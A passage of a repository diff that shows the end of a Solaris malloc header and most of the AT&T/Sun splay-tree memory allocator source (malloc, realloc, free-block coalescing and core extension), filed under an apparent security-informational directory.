| 28 | static int nmalloc, nrealloc, nfree; | ||
| 29 | #else | ||
| 30 | #define ASSERT(p) ((void)0) | ||
| 31 | #define COUNT(n) ((void)0) | ||
| 32 | #endif /* DEBUG */ | ||
| 33 | |||
| 34 | /* function to copy data from one area to another */ | ||
| 35 | #define MEMCOPY(to, fr, n) ((void) memcpy(to, fr, n)) | ||
| 36 | |||
| 37 | /* for conveniences */ | ||
| 38 | #ifndef NULL | ||
| 39 | #define NULL (0) | ||
| 40 | #endif | ||
| 41 | |||
| 42 | #define reg register | ||
| 43 | #define WORDSIZE (sizeof (WORD)) | ||
| 44 | #define MINSIZE (sizeof (TREE) - sizeof (WORD)) | ||
| 45 | #define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE)) | ||
| 46 | |||
| 47 | #ifdef DEBUG32 | ||
| 48 | /* | ||
| 49 | * The following definitions ease debugging | ||
| 50 | * on a machine in which sizeof(pointer) == sizeof(int) == 4. | ||
| 51 | * These definitions are not portable. | ||
| 52 | * | ||
| 53 | * Alignment (ALIGN) changed to 8 for SPARC ldd/std. | ||
| 54 | */ | ||
| 55 | #define ALIGN 8 | ||
| 56 | typedef int WORD; | ||
| 57 | typedef struct _t_ { | ||
| 58 | size_t t_s; | ||
| 59 | struct _t_ *t_p; | ||
| 60 | struct _t_ *t_l; | ||
| 61 | struct _t_ *t_r; | ||
| 62 | struct _t_ *t_n; | ||
| 63 | struct _t_ *t_d; | ||
| 64 | } TREE; | ||
| 65 | #define SIZE(b) ((b)->t_s) | ||
| 66 | #define AFTER(b) ((b)->t_p) | ||
| 67 | #define PARENT(b) ((b)->t_p) | ||
| 68 | #define LEFT(b) ((b)->t_l) | ||
| 69 | #define RIGHT(b) ((b)->t_r) | ||
| 70 | #define LINKFOR(b) ((b)->t_n) | ||
| 71 | #define LINKBAK(b) ((b)->t_p) | ||
| 72 | |||
| 73 | #else /* !DEBUG32 */ | ||
| 74 | /* | ||
| 75 | * All of our allocations will be aligned on the least multiple of 4, | ||
| 76 | * at least, so the two low order bits are guaranteed to be available. | ||
| 77 | */ | ||
| 78 | #ifdef _LP64 | ||
| 79 | #define ALIGN 16 | ||
| 80 | #else | ||
| 81 | #define ALIGN 8 | ||
| 82 | #endif | ||
| 83 | |||
| 84 | /* the proto-word; size must be ALIGN bytes */ | ||
| 85 | typedef union _w_ { | ||
| 86 | size_t w_i; /* an unsigned int */ | ||
| 87 | struct _t_ *w_p; /* a pointer */ | ||
| 88 | char w_a[ALIGN]; /* to force size */ | ||
| 89 | } WORD; | ||
| 90 | |||
| 91 | /* structure of a node in the free tree */ | ||
| 92 | typedef struct _t_ { | ||
| 93 | WORD t_s; /* size of this element */ | ||
| 94 | WORD t_p; /* parent node */ | ||
| 95 | WORD t_l; /* left child */ | ||
| 96 | WORD t_r; /* right child */ | ||
| 97 | WORD t_n; /* next in link list */ | ||
| 98 | WORD t_d; /* dummy to reserve space for self-pointer */ | ||
| 99 | } TREE; | ||
| 100 | |||
| 101 | /* usable # of bytes in the block */ | ||
| 102 | #define SIZE(b) (((b)->t_s).w_i) | ||
| 103 | |||
| 104 | /* free tree pointers */ | ||
| 105 | #define PARENT(b) (((b)->t_p).w_p) | ||
| 106 | #define LEFT(b) (((b)->t_l).w_p) | ||
| 107 | #define RIGHT(b) (((b)->t_r).w_p) | ||
| 108 | |||
| 109 | /* forward link in lists of small blocks */ | ||
| 110 | #define AFTER(b) (((b)->t_p).w_p) | ||
| 111 | |||
| 112 | /* forward and backward links for lists in the tree */ | ||
| 113 | #define LINKFOR(b) (((b)->t_n).w_p) | ||
| 114 | #define LINKBAK(b) (((b)->t_p).w_p) | ||
| 115 | |||
| 116 | #endif /* DEBUG32 */ | ||
| 117 | |||
| 118 | /* set/test indicator if a block is in the tree or in a list */ | ||
| 119 | #define SETNOTREE(b) (LEFT(b) = (TREE *)(-1)) | ||
| 120 | #define ISNOTREE(b) (LEFT(b) == (TREE *)(-1)) | ||
| 121 | |||
| 122 | /* functions to get information on a block */ | ||
| 123 | #define DATA(b) (((char *)(b)) + WORDSIZE) | ||
| 124 | #define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE)) | ||
| 125 | #define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b))) | ||
| 126 | #define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE))) | ||
| 127 | #define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE)) | ||
| 128 | #define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr) | ||
| 129 | |||
| 130 | /* functions to set and test the lowest two bits of a word */ | ||
| 131 | #define BIT0 (01) /* ...001 */ | ||
| 132 | #define BIT1 (02) /* ...010 */ | ||
| 133 | #define BITS01 (03) /* ...011 */ | ||
| 134 | #define ISBIT0(w) ((w) & BIT0) /* Is busy? */ | ||
| 135 | #define ISBIT1(w) ((w) & BIT1) /* Is the preceding free? */ | ||
| 136 | #define SETBIT0(w) ((w) |= BIT0) /* Block is busy */ | ||
| 137 | #define SETBIT1(w) ((w) |= BIT1) /* The preceding is free */ | ||
| 138 | #define CLRBIT0(w) ((w) &= ~BIT0) /* Clean bit0 */ | ||
| 139 | #define CLRBIT1(w) ((w) &= ~BIT1) /* Clean bit1 */ | ||
| 140 | #define SETBITS01(w) ((w) |= BITS01) /* Set bits 0 & 1 */ | ||
| 141 | #define CLRBITS01(w) ((w) &= ~BITS01) /* Clean bits 0 & 1 */ | ||
| 142 | #define SETOLD01(n, o) ((n) |= (BITS01 & (o))) | ||
| 143 | |||
| 144 | /* system call to get more core */ | ||
| 145 | #define GETCORE sbrk | ||
| 146 | #define ERRCORE ((void *)(-1)) | ||
| 147 | #define CORESIZE (1024*ALIGN) | ||
| 148 | |||
| 149 | extern void *GETCORE(size_t); | ||
| 150 | extern void _free_unlocked(void *); | ||
| 151 | |||
| 152 | #ifdef _REENTRANT | ||
| 153 | extern mutex_t __malloc_lock; | ||
| 154 | #endif /* _REENTRANT */ | ||
diff --git a/informationals/teso-i0037/malloc.c b/informationals/teso-i0037/malloc.c new file mode 100644 index 0000000..7460020 --- /dev/null +++ b/informationals/teso-i0037/malloc.c | |||
| @@ -0,0 +1,838 @@ | |||
| 1 | /* Copyright (c) 1988 AT&T */ | ||
| 2 | /* All Rights Reserved */ | ||
| 3 | |||
| 4 | /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ | ||
| 5 | /* The copyright notice above does not evidence any */ | ||
| 6 | /* actual or intended publication of such source code. */ | ||
| 7 | |||
| 8 | /* | ||
| 9 | * Copyright (c) 1996, by Sun Microsystems, Inc. | ||
| 10 | * All rights reserved. | ||
| 11 | */ | ||
| 12 | |||
| 13 | #pragma ident "@(#)malloc.c 1.18 98/07/21 SMI" /* SVr4.0 1.30 */ | ||
| 14 | |||
| 15 | /*LINTLIBRARY*/ | ||
| 16 | |||
| 17 | /* | ||
| 18 | * Memory management: malloc(), realloc(), free(). | ||
| 19 | * | ||
| 20 | * The following #-parameters may be redefined: | ||
| 21 | * SEGMENTED: if defined, memory requests are assumed to be | ||
| 22 | * non-contiguous across calls of GETCORE's. | ||
| 23 | * GETCORE: a function to get more core memory. If not SEGMENTED, | ||
| 24 | * GETCORE(0) is assumed to return the next available | ||
| 25 | * address. Default is 'sbrk'. | ||
| 26 | * ERRCORE: the error code as returned by GETCORE. | ||
| 27 | * Default is (char *)(-1). | ||
| 28 | * CORESIZE: a desired unit (measured in bytes) to be used | ||
| 29 | * with GETCORE. Default is (1024*ALIGN). | ||
| 30 | * | ||
| 31 | * This algorithm is based on a best fit strategy with lists of | ||
| 32 | * free elts maintained in a self-adjusting binary tree. Each list | ||
| 33 | * contains all elts of the same size. The tree is ordered by size. | ||
| 34 | * For results on self-adjusting trees, see the paper: | ||
| 35 | * Self-Adjusting Binary Trees, | ||
| 36 | * DD Sleator & RE Tarjan, JACM 1985. | ||
| 37 | * | ||
| 38 | * The header of a block contains the size of the data part in bytes. | ||
| 39 | * Since the size of a block is 0%4, the low two bits of the header | ||
| 40 | * are free and used as follows: | ||
| 41 | * | ||
| 42 | * BIT0: 1 for busy (block is in use), 0 for free. | ||
| 43 | * BIT1: if the block is busy, this bit is 1 if the | ||
| 44 | * preceding block in contiguous memory is free. | ||
| 45 | * Otherwise, it is always 0. | ||
| 46 | */ | ||
| 47 | |||
| 48 | #include "synonyms.h" | ||
| 49 | #include <mtlib.h> | ||
| 50 | #include <sys/types.h> | ||
| 51 | #include <stdlib.h> | ||
| 52 | #include <string.h> | ||
| 53 | #include <limits.h> | ||
| 54 | #include "mallint.h" | ||
| 55 | |||
| 56 | static TREE *Root, /* root of the free tree */ | ||
| 57 | *Bottom, /* the last free chunk in the arena */ | ||
| 58 | *_morecore(size_t); /* function to get more core */ | ||
| 59 | |||
| 60 | static char *Baddr; /* current high address of the arena */ | ||
| 61 | static char *Lfree; /* last freed block with data intact */ | ||
| 62 | |||
| 63 | static void t_delete(TREE *); | ||
| 64 | static void t_splay(TREE *); | ||
| 65 | static void realfree(void *); | ||
| 66 | static void cleanfree(void *); | ||
| 67 | static void *_malloc_unlocked(size_t); | ||
| 68 | |||
| 69 | #define FREESIZE (1<<5) /* size for preserving free blocks until next malloc */ | ||
| 70 | #define FREEMASK FREESIZE-1 | ||
| 71 | |||
| 72 | static void *flist[FREESIZE]; /* list of blocks to be freed on next malloc */ | ||
| 73 | static int freeidx; /* index of free blocks in flist % FREESIZE */ | ||
| 74 | |||
| 75 | /* | ||
| 76 | * Allocation of small blocks | ||
| 77 | */ | ||
| 78 | static TREE *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */ | ||
| 79 | |||
| 80 | static void * | ||
| 81 | _smalloc(size_t size) | ||
| 82 | { | ||
| 83 | TREE *tp; | ||
| 84 | size_t i; | ||
| 85 | |||
| 86 | ASSERT(size % WORDSIZE == 0); | ||
| 87 | /* want to return a unique pointer on malloc(0) */ | ||
| 88 | if (size == 0) | ||
| 89 | size = WORDSIZE; | ||
| 90 | |||
| 91 | /* list to use */ | ||
| 92 | i = size / WORDSIZE - 1; | ||
| 93 | |||
| 94 | if (List[i] == NULL) { | ||
| 95 | TREE *np; | ||
| 96 | int n; | ||
| 97 | /* number of blocks to get at one time */ | ||
| 98 | #define NPS (WORDSIZE*8) | ||
| 99 | ASSERT((size + WORDSIZE) * NPS >= MINSIZE); | ||
| 100 | |||
| 101 | /* get NPS of these block types */ | ||
| 102 | if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) == 0) | ||
| 103 | return (0); | ||
| 104 | |||
| 105 | /* make them into a link list */ | ||
| 106 | for (n = 0, np = List[i]; n < NPS; ++n) { | ||
| 107 | tp = np; | ||
| 108 | SIZE(tp) = size; | ||
| 109 | np = NEXT(tp); | ||
| 110 | AFTER(tp) = np; | ||
| 111 | } | ||
| 112 | AFTER(tp) = NULL; | ||
| 113 | } | ||
| 114 | |||
| 115 | /* allocate from the head of the queue */ | ||
| 116 | tp = List[i]; | ||
| 117 | List[i] = AFTER(tp); | ||
| 118 | SETBIT0(SIZE(tp)); | ||
| 119 | return (DATA(tp)); | ||
| 120 | } | ||
| 121 | |||
| 122 | void * | ||
| 123 | malloc(size_t size) | ||
| 124 | { | ||
| 125 | void *ret; | ||
| 126 | (void) _mutex_lock(&__malloc_lock); | ||
| 127 | ret = _malloc_unlocked(size); | ||
| 128 | (void) _mutex_unlock(&__malloc_lock); | ||
| 129 | return (ret); | ||
| 130 | } | ||
| 131 | |||
| 132 | static void * | ||
| 133 | _malloc_unlocked(size_t size) | ||
| 134 | { | ||
| 135 | size_t n; | ||
| 136 | TREE *tp, *sp; | ||
| 137 | size_t o_bit1; | ||
| 138 | |||
| 139 | COUNT(nmalloc); | ||
| 140 | ASSERT(WORDSIZE == ALIGN); | ||
| 141 | |||
| 142 | /* make sure that size is 0 mod ALIGN */ | ||
| 143 | ROUND(size); | ||
| 144 | |||
| 145 | /* see if the last free block can be used */ | ||
| 146 | if (Lfree) { | ||
| 147 | sp = BLOCK(Lfree); | ||
| 148 | n = SIZE(sp); | ||
| 149 | CLRBITS01(n); | ||
| 150 | if (n == size) { | ||
| 151 | /* | ||
| 152 | * exact match, use it as is | ||
| 153 | */ | ||
| 154 | freeidx = (freeidx + FREESIZE - 1) & | ||
| 155 | FREEMASK; /* 1 back */ | ||
| 156 | flist[freeidx] = Lfree = NULL; | ||
| 157 | return (DATA(sp)); | ||
| 158 | } else if (size >= MINSIZE && n > size) { | ||
| 159 | /* | ||
| 160 | * got a big enough piece | ||
| 161 | */ | ||
| 162 | freeidx = (freeidx + FREESIZE - 1) & | ||
| 163 | FREEMASK; /* 1 back */ | ||
| 164 | flist[freeidx] = Lfree = NULL; | ||
| 165 | o_bit1 = SIZE(sp) & BIT1; | ||
| 166 | SIZE(sp) = n; | ||
| 167 | goto leftover; | ||
| 168 | } | ||
| 169 | } | ||
| 170 | o_bit1 = 0; | ||
| 171 | |||
| 172 | /* perform free's of space since last malloc */ | ||
| 173 | cleanfree(NULL); | ||
| 174 | |||
| 175 | /* small blocks */ | ||
| 176 | if (size < MINSIZE) | ||
| 177 | return (_smalloc(size)); | ||
| 178 | |||
| 179 | /* search for an elt of the right size */ | ||
| 180 | sp = NULL; | ||
| 181 | n = 0; | ||
| 182 | if (Root) { | ||
| 183 | tp = Root; | ||
| 184 | while (1) { | ||
| 185 | /* branch left */ | ||
| 186 | if (SIZE(tp) >= size) { | ||
| 187 | if (n == 0 || n >= SIZE(tp)) { | ||
| 188 | sp = tp; | ||
| 189 | n = SIZE(tp); | ||
| 190 | } | ||
| 191 | if (LEFT(tp)) | ||
| 192 | tp = LEFT(tp); | ||
| 193 | else | ||
| 194 | break; | ||
| 195 | } else { /* branch right */ | ||
| 196 | if (RIGHT(tp)) | ||
| 197 | tp = RIGHT(tp); | ||
| 198 | else | ||
| 199 | break; | ||
| 200 | } | ||
| 201 | } | ||
| 202 | |||
| 203 | if (sp) { | ||
| 204 | t_delete(sp); | ||
| 205 | } else if (tp != Root) { | ||
| 206 | /* make the searched-to element the root */ | ||
| 207 | t_splay(tp); | ||
| 208 | Root = tp; | ||
| 209 | } | ||
| 210 | } | ||
| 211 | |||
| 212 | /* if found none fitted in the tree */ | ||
| 213 | if (!sp) { | ||
| 214 | if (Bottom && size <= SIZE(Bottom)) { | ||
| 215 | sp = Bottom; | ||
| 216 | CLRBITS01(SIZE(sp)); | ||
| 217 | } else if ((sp = _morecore(size)) == NULL) /* no more memory */ | ||
| 218 | return (NULL); | ||
| 219 | } | ||
| 220 | |||
| 221 | /* tell the forward neighbor that we're busy */ | ||
| 222 | CLRBIT1(SIZE(NEXT(sp))); | ||
| 223 | |||
| 224 | ASSERT(ISBIT0(SIZE(NEXT(sp)))); | ||
| 225 | |||
| 226 | leftover: | ||
| 227 | /* if the leftover is enough for a new free piece */ | ||
| 228 | if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) { | ||
| 229 | n -= WORDSIZE; | ||
| 230 | SIZE(sp) = size; | ||
| 231 | tp = NEXT(sp); | ||
| 232 | SIZE(tp) = n|BIT0; | ||
| 233 | realfree(DATA(tp)); | ||
| 234 | } else if (BOTTOM(sp)) | ||
| 235 | Bottom = NULL; | ||
| 236 | |||
| 237 | /* return the allocated space */ | ||
| 238 | SIZE(sp) |= BIT0 | o_bit1; | ||
| 239 | return (DATA(sp)); | ||
| 240 | } | ||
| 241 | |||
| 242 | |||
| 243 | /* | ||
| 244 | * realloc(). | ||
| 245 | * | ||
| 246 | * If the block size is increasing, we try forward merging first. | ||
| 247 | * This is not best-fit but it avoids some data recopying. | ||
| 248 | */ | ||
| 249 | void * | ||
| 250 | realloc(void *old, size_t size) | ||
| 251 | { | ||
| 252 | TREE *tp, *np; | ||
| 253 | size_t ts; | ||
| 254 | char *new; | ||
| 255 | |||
| 256 | COUNT(nrealloc); | ||
| 257 | |||
| 258 | /* pointer to the block */ | ||
| 259 | (void) _mutex_lock(&__malloc_lock); | ||
| 260 | if (old == NULL) { | ||
| 261 | new = _malloc_unlocked(size); | ||
| 262 | (void) _mutex_unlock(&__malloc_lock); | ||
| 263 | return (new); | ||
| 264 | } | ||
| 265 | |||
| 266 | /* perform free's of space since last malloc */ | ||
| 267 | cleanfree(old); | ||
| 268 | |||
| 269 | /* make sure that size is 0 mod ALIGN */ | ||
| 270 | ROUND(size); | ||
| 271 | |||
| 272 | tp = BLOCK(old); | ||
| 273 | ts = SIZE(tp); | ||
| 274 | |||
| 275 | /* if the block was freed, data has been destroyed. */ | ||
| 276 | if (!ISBIT0(ts)) { | ||
| 277 | (void) _mutex_unlock(&__malloc_lock); | ||
| 278 | return (NULL); | ||
| 279 | } | ||
| 280 | |||
| 281 | /* nothing to do */ | ||
| 282 | CLRBITS01(SIZE(tp)); | ||
| 283 | if (size == SIZE(tp)) { | ||
| 284 | SIZE(tp) = ts; | ||
| 285 | (void) _mutex_unlock(&__malloc_lock); | ||
| 286 | return (old); | ||
| 287 | } | ||
| 288 | |||
| 289 | /* special cases involving small blocks */ | ||
| 290 | if (size < MINSIZE || SIZE(tp) < MINSIZE) | ||
| 291 | goto call_malloc; | ||
| 292 | |||
| 293 | /* block is increasing in size, try merging the next block */ | ||
| 294 | if (size > SIZE(tp)) { | ||
| 295 | np = NEXT(tp); | ||
| 296 | if (!ISBIT0(SIZE(np))) { | ||
| 297 | ASSERT(SIZE(np) >= MINSIZE); | ||
| 298 | ASSERT(!ISBIT1(SIZE(np))); | ||
| 299 | SIZE(tp) += SIZE(np) + WORDSIZE; | ||
| 300 | if (np != Bottom) | ||
| 301 | t_delete(np); | ||
| 302 | else | ||
| 303 | Bottom = NULL; | ||
| 304 | CLRBIT1(SIZE(NEXT(np))); | ||
| 305 | } | ||
| 306 | |||
| 307 | #ifndef SEGMENTED | ||
| 308 | /* not enough & at TRUE end of memory, try extending core */ | ||
| 309 | if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) { | ||
| 310 | Bottom = tp; | ||
| 311 | if ((tp = _morecore(size)) == NULL) { | ||
| 312 | tp = Bottom; | ||
| 313 | Bottom = NULL; | ||
| 314 | } | ||
| 315 | } | ||
| 316 | #endif | ||
| 317 | } | ||
| 318 | |||
| 319 | /* got enough space to use */ | ||
| 320 | if (size <= SIZE(tp)) { | ||
| 321 | size_t n; | ||
| 322 | |||
| 323 | chop_big: | ||
| 324 | if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) { | ||
| 325 | n -= WORDSIZE; | ||
| 326 | SIZE(tp) = size; | ||
| 327 | np = NEXT(tp); | ||
| 328 | SIZE(np) = n|BIT0; | ||
| 329 | realfree(DATA(np)); | ||
| 330 | } else if (BOTTOM(tp)) | ||
| 331 | Bottom = NULL; | ||
| 332 | |||
| 333 | /* the previous block may be free */ | ||
| 334 | SETOLD01(SIZE(tp), ts); | ||
| 335 | (void) _mutex_unlock(&__malloc_lock); | ||
| 336 | return (old); | ||
| 337 | } | ||
| 338 | |||
| 339 | /* call malloc to get a new block */ | ||
| 340 | call_malloc: | ||
| 341 | SETOLD01(SIZE(tp), ts); | ||
| 342 | if ((new = _malloc_unlocked(size)) != NULL) { | ||
| 343 | CLRBITS01(ts); | ||
| 344 | if (ts > size) | ||
| 345 | ts = size; | ||
| 346 | MEMCOPY(new, old, ts); | ||
| 347 | _free_unlocked(old); | ||
| 348 | (void) _mutex_unlock(&__malloc_lock); | ||
| 349 | return (new); | ||
| 350 | } | ||
| 351 | |||
| 352 | /* | ||
| 353 | * Attempt special case recovery allocations since malloc() failed: | ||
| 354 | * | ||
| 355 | * 1. size <= SIZE(tp) < MINSIZE | ||
| 356 | * Simply return the existing block | ||
| 357 | * 2. SIZE(tp) < size < MINSIZE | ||
| 358 | * malloc() may have failed to allocate the chunk of | ||
| 359 | * small blocks. Try asking for MINSIZE bytes. | ||
| 360 | * 3. size < MINSIZE <= SIZE(tp) | ||
| 361 | * malloc() may have failed as with 2. Change to | ||
| 362 | * MINSIZE allocation which is taken from the beginning | ||
| 363 | * of the current block. | ||
| 364 | * 4. MINSIZE <= SIZE(tp) < size | ||
| 365 | * If the previous block is free and the combination of | ||
| 366 | * these two blocks has at least size bytes, then merge | ||
| 367 | * the two blocks copying the existing contents backwards. | ||
| 368 | */ | ||
| 369 | CLRBITS01(SIZE(tp)); | ||
| 370 | if (SIZE(tp) < MINSIZE) { | ||
| 371 | if (size < SIZE(tp)) { /* case 1. */ | ||
| 372 | SETOLD01(SIZE(tp), ts); | ||
| 373 | (void) _mutex_unlock(&__malloc_lock); | ||
| 374 | return (old); | ||
| 375 | } else if (size < MINSIZE) { /* case 2. */ | ||
| 376 | size = MINSIZE; | ||
| 377 | goto call_malloc; | ||
| 378 | } | ||
| 379 | } else if (size < MINSIZE) { /* case 3. */ | ||
| 380 | size = MINSIZE; | ||
| 381 | goto chop_big; | ||
| 382 | } else if (ISBIT1(ts) && | ||
| 383 | (SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) { | ||
| 384 | ASSERT(!ISBIT0(SIZE(np))); | ||
| 385 | t_delete(np); | ||
| 386 | SIZE(np) += SIZE(tp) + WORDSIZE; | ||
| 387 | /* | ||
| 388 | * Since the copy may overlap, use memmove() if available. | ||
| 389 | * Otherwise, copy by hand. | ||
| 390 | */ | ||
| 391 | (void) memmove(DATA(np), old, SIZE(tp)); | ||
| 392 | old = DATA(np); | ||
| 393 | tp = np; | ||
| 394 | CLRBIT1(ts); | ||
| 395 | goto chop_big; | ||
| 396 | } | ||
| 397 | SETOLD01(SIZE(tp), ts); | ||
| 398 | (void) _mutex_unlock(&__malloc_lock); | ||
| 399 | return (NULL); | ||
| 400 | } | ||
| 401 | |||
| 402 | |||
| 403 | /* | ||
| 404 | * realfree(). | ||
| 405 | * | ||
| 406 | * Coalescing of adjacent free blocks is done first. | ||
| 407 | * Then, the new free block is leaf-inserted into the free tree | ||
| 408 | * without splaying. This strategy does not guarantee the amortized | ||
| 409 | * O(nlogn) behaviour for the insert/delete/find set of operations | ||
| 410 | * on the tree. In practice, however, free is much more infrequent | ||
| 411 | * than malloc/realloc and the tree searches performed by these | ||
| 412 | * functions adequately keep the tree in balance. | ||
| 413 | */ | ||
| 414 | static void | ||
| 415 | realfree(void *old) | ||
| 416 | { | ||
| 417 | TREE *tp, *sp, *np; | ||
| 418 | size_t ts, size; | ||
| 419 | |||
| 420 | COUNT(nfree); | ||
| 421 | |||
| 422 | /* pointer to the block */ | ||
| 423 | tp = BLOCK(old); | ||
| 424 | ts = SIZE(tp); | ||
| 425 | if (!ISBIT0(ts)) | ||
| 426 | return; | ||
| 427 | CLRBITS01(SIZE(tp)); | ||
| 428 | |||
| 429 | /* small block, put it in the right linked list */ | ||
| 430 | if (SIZE(tp) < MINSIZE) { | ||
| 431 | ASSERT(SIZE(tp) / WORDSIZE >= 1); | ||
| 432 | ts = SIZE(tp) / WORDSIZE - 1; | ||
| 433 | AFTER(tp) = List[ts]; | ||
| 434 | List[ts] = tp; | ||
| 435 | return; | ||
| 436 | } | ||
| 437 | |||
| 438 | /* see if coalescing with next block is warranted */ | ||
| 439 | np = NEXT(tp); | ||
| 440 | if (!ISBIT0(SIZE(np))) { | ||
| 441 | if (np != Bottom) | ||
| 442 | t_delete(np); | ||
| 443 | SIZE(tp) += SIZE(np) + WORDSIZE; | ||
| 444 | } | ||
| 445 | |||
| 446 | /* the same with the preceding block */ | ||
| 447 | if (ISBIT1(ts)) { | ||
| 448 | np = LAST(tp); | ||
| 449 | ASSERT(!ISBIT0(SIZE(np))); | ||
| 450 | ASSERT(np != Bottom); | ||
| 451 | t_delete(np); | ||
| 452 | SIZE(np) += SIZE(tp) + WORDSIZE; | ||
| 453 | tp = np; | ||
| 454 | } | ||
| 455 | |||
| 456 | /* initialize tree info */ | ||
| 457 | PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL; | ||
| 458 | |||
| 459 | /* the last word of the block contains self's address */ | ||
| 460 | *(SELFP(tp)) = tp; | ||
| 461 | |||
| 462 | /* set bottom block, or insert in the free tree */ | ||
| 463 | if (BOTTOM(tp)) | ||
| 464 | Bottom = tp; | ||
| 465 | else { | ||
| 466 | /* search for the place to insert */ | ||
| 467 | if (Root) { | ||
| 468 | size = SIZE(tp); | ||
| 469 | np = Root; | ||
| 470 | while (1) { | ||
| 471 | if (SIZE(np) > size) { | ||
| 472 | if (LEFT(np)) | ||
| 473 | np = LEFT(np); | ||
| 474 | else { | ||
| 475 | LEFT(np) = tp; | ||
| 476 | PARENT(tp) = np; | ||
| 477 | break; | ||
| 478 | } | ||
| 479 | } else if (SIZE(np) < size) { | ||
| 480 | if (RIGHT(np)) | ||
| 481 | np = RIGHT(np); | ||
| 482 | else { | ||
| 483 | RIGHT(np) = tp; | ||
| 484 | PARENT(tp) = np; | ||
| 485 | break; | ||
| 486 | } | ||
| 487 | } else { | ||
| 488 | if ((sp = PARENT(np)) != NULL) { | ||
| 489 | if (np == LEFT(sp)) | ||
| 490 | LEFT(sp) = tp; | ||
| 491 | else | ||
| 492 | RIGHT(sp) = tp; | ||
| 493 | PARENT(tp) = sp; | ||
| 494 | } else | ||
| 495 | Root = tp; | ||
| 496 | |||
| 497 | /* insert to head of list */ | ||
| 498 | if ((sp = LEFT(np)) != NULL) | ||
| 499 | PARENT(sp) = tp; | ||
| 500 | LEFT(tp) = sp; | ||
| 501 | |||
| 502 | if ((sp = RIGHT(np)) != NULL) | ||
| 503 | PARENT(sp) = tp; | ||
| 504 | RIGHT(tp) = sp; | ||
| 505 | |||
| 506 | /* doubly link list */ | ||
| 507 | LINKFOR(tp) = np; | ||
| 508 | LINKBAK(np) = tp; | ||
| 509 | SETNOTREE(np); | ||
| 510 | |||
| 511 | break; | ||
| 512 | } | ||
| 513 | } | ||
| 514 | } else | ||
| 515 | Root = tp; | ||
| 516 | } | ||
| 517 | |||
| 518 | /* tell next block that this one is free */ | ||
| 519 | SETBIT1(SIZE(NEXT(tp))); | ||
| 520 | |||
| 521 | ASSERT(ISBIT0(SIZE(NEXT(tp)))); | ||
| 522 | } | ||
| 523 | |||
| 524 | /* | ||
| 525 | * Get more core. Gaps in memory are noted as busy blocks. | ||
| 526 | */ | ||
| 527 | static TREE * | ||
| 528 | _morecore(size_t size) | ||
| 529 | { | ||
| 530 | TREE *tp; | ||
| 531 | size_t n, offset; | ||
| 532 | char *addr; | ||
| 533 | size_t nsize; | ||
| 534 | |||
| 535 | /* compute new amount of memory to get */ | ||
| 536 | tp = Bottom; | ||
| 537 | n = size + 2 * WORDSIZE; | ||
| 538 | addr = GETCORE(0); | ||
| 539 | |||
| 540 | if (addr == ERRCORE) | ||
| 541 | return (NULL); | ||
| 542 | |||
| 543 | /* need to pad size out so that addr is aligned */ | ||
| 544 | if ((((size_t)addr) % ALIGN) != 0) | ||
| 545 | offset = ALIGN - (size_t)addr % ALIGN; | ||
| 546 | else | ||
| 547 | offset = 0; | ||
| 548 | |||
| 549 | #ifndef SEGMENTED | ||
| 550 | /* if not segmented memory, what we need may be smaller */ | ||
| 551 | if (addr == Baddr) { | ||
| 552 | n -= WORDSIZE; | ||
| 553 | if (tp != NULL) | ||
| 554 | n -= SIZE(tp); | ||
| 555 | } | ||
| 556 | #endif | ||
| 557 | |||
| 558 | /* get a multiple of CORESIZE */ | ||
| 559 | n = ((n - 1) / CORESIZE + 1) * CORESIZE; | ||
| 560 | nsize = n + offset; | ||
| 561 | |||
| 562 | if (nsize == ULONG_MAX) | ||
| 563 | return (NULL); | ||
| 564 | |||
| 565 | if (nsize <= LONG_MAX) { | ||
| 566 | if (GETCORE(nsize) == ERRCORE) | ||
| 567 | return (NULL); | ||
| 568 | } else { | ||
| 569 | intptr_t delta; | ||
| 570 | /* | ||
| 571 | * the value required is too big for GETCORE() to deal with | ||
| 572 | * in one go, so use GETCORE() at most 2 times instead. | ||
| 573 | */ | ||
| 574 | delta = LONG_MAX; | ||
| 575 | while (delta > 0) { | ||
| 576 | if (GETCORE(delta) == ERRCORE) { | ||
| 577 | if (addr != GETCORE(0)) | ||
| 578 | (void) GETCORE(-LONG_MAX); | ||
| 579 | return (NULL); | ||
| 580 | } | ||
| 581 | nsize -= LONG_MAX; | ||
| 582 | delta = nsize; | ||
| 583 | } | ||
| 584 | } | ||
| 585 | |||
| 586 | /* contiguous memory */ | ||
| 587 | if (addr == Baddr) { | ||
| 588 | ASSERT(offset == 0); | ||
| 589 | if (tp) { | ||
| 590 | addr = (char *)tp; | ||
| 591 | n += SIZE(tp) + 2 * WORDSIZE; | ||
| 592 | } else { | ||
| 593 | addr = Baddr - WORDSIZE; | ||
| 594 | n += WORDSIZE; | ||
| 595 | } | ||
| 596 | } else | ||
| 597 | addr += offset; | ||
| 598 | |||
| 599 | /* new bottom address */ | ||
| 600 | Baddr = addr + n; | ||
| 601 | |||
| 602 | /* new bottom block */ | ||
| 603 | tp = (TREE *)addr; | ||
| 604 | SIZE(tp) = n - 2 * WORDSIZE; | ||
| 605 | ASSERT((SIZE(tp) % ALIGN) == 0); | ||
| 606 | |||
| 607 | /* reserved the last word to head any noncontiguous memory */ | ||
| 608 | SETBIT0(SIZE(NEXT(tp))); | ||
| 609 | |||
| 610 | /* non-contiguous memory, free old bottom block */ | ||
| 611 | if (Bottom && Bottom != tp) { | ||
| 612 | SETBIT0(SIZE(Bottom)); | ||
| 613 | realfree(DATA(Bottom)); | ||
| 614 | } | ||
| 615 | |||
| 616 | return (tp); | ||
| 617 | } | ||
| 618 | |||
| 619 | |||
| 620 | /* | ||
| 621 | * Tree rotation functions (BU: bottom-up, TD: top-down) | ||
| 622 | */ | ||
